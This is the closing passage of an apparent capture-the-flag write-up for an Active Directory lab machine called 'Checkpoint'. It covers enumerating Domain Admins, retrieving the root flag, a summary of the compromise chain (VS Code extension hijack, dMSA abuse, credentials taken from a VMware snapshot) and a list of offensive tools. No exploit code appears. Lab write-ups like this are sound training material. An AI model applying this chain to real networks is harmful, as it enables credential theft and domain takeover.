  • Having Domain Administrator access did not mean I could simply assume where the flag was stored. I continued enumerating the domain’s privileged users.

Enumerating Domain Admins

I returned to BloodHound and used the Map Domain Admins query.

Press enter or click to view image in full size
Mapping Domain Admins

The results showed that, in addition to the built-in Administrator, another user name max.palmer belonged to the Domain Admins Group

I verified this from the PowerShell session:

Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, ObjectClass

Retrieving the Root Flag

I navigated to Max Palmer’s user profile:

cd C:\Users\max.palmer

Then I enumerated its contents:

tree /f

This time, the output revealed root.txt on the Desktop

I navigated to the Desktop and retrieved the flag.

Press enter or click to view image in full size
Retrieving the Root Flag

Conclusion

Checkpoint was a great reminder that compromising an Active Directory environment doesn’t always require a flashy exploit. Sometimes, all it takes is a forgotten account, a little password reuse and permissions that probably deserved a second look.

From restoring deleted objects and hijacking a VS Code extension to abusing dMSA succession and extracting credentials from a VMware snapshot, every stage revealed another weakness in the environment. Eventually these discoveries led us from an ordinary domain user to full Domain Administrator access.

The biggest takeaway? Never understimate the power of enumeration and never assume deleted accounts, backup files or seemingly harmless permissions are harmless. In Checkpoint, even the backups had secrets to spill!

Tools and Technologies Used

Network and Service Enumeration

  • Nmap — Network Discovery, port scanning and service detection
  • NetExec — SMB, LDAP and WinRM authentication testing and enumeration
  • smbclient — SMB share enumeration and file operations

Active Directory Enumeration and Analysis

  • RustHound-CE — Active Directory data collection for BloodHound
  • BloodHound — Visualizing directory relationships and attack paths
  • BloodyAD — Active Directory object and permission enumeration and manipulation
  • krb5-user — Kerberos client utilities and authentication

Kerberos and Credential Analysis

  • Rubeus — Kerberos ticket operations
  • pypykatz — Parsing credential artifacts and Kerberos tickets
  • VMKatz — VMware memory snapshot analysis

Application Development and Packaging

  • Node.js — JavaScript runtime for extension development
  • npm / npx — Package management and development tool execution
  • Visual Studio Code — Extension development and testing
  • vsce — Packaging VS Code extensions
  • revshells — Reverse shell payload reference and generation

File Transfer and Remote Access

  • Python — Temporary HTTP server for file transfer
  • curl — Downloading resources
  • wget — Downloading tools and transferring files
  • Evil-WinRM — Interactive Windows remote management
  • Netcat — Receiving TCP connections
  • rlwrap — Improving Interactive shell usability

Supporting Utilities

  • 7z — Extracting downloaded archives
  • file — Identifying file formats
  • diff — Comparing enumeration results
  • PowerShell — Windows enumeration and administration
  • Git — Retrieving tools and source code

--

--

Natius
Natius

Written by Natius

The Cybersecurity Journal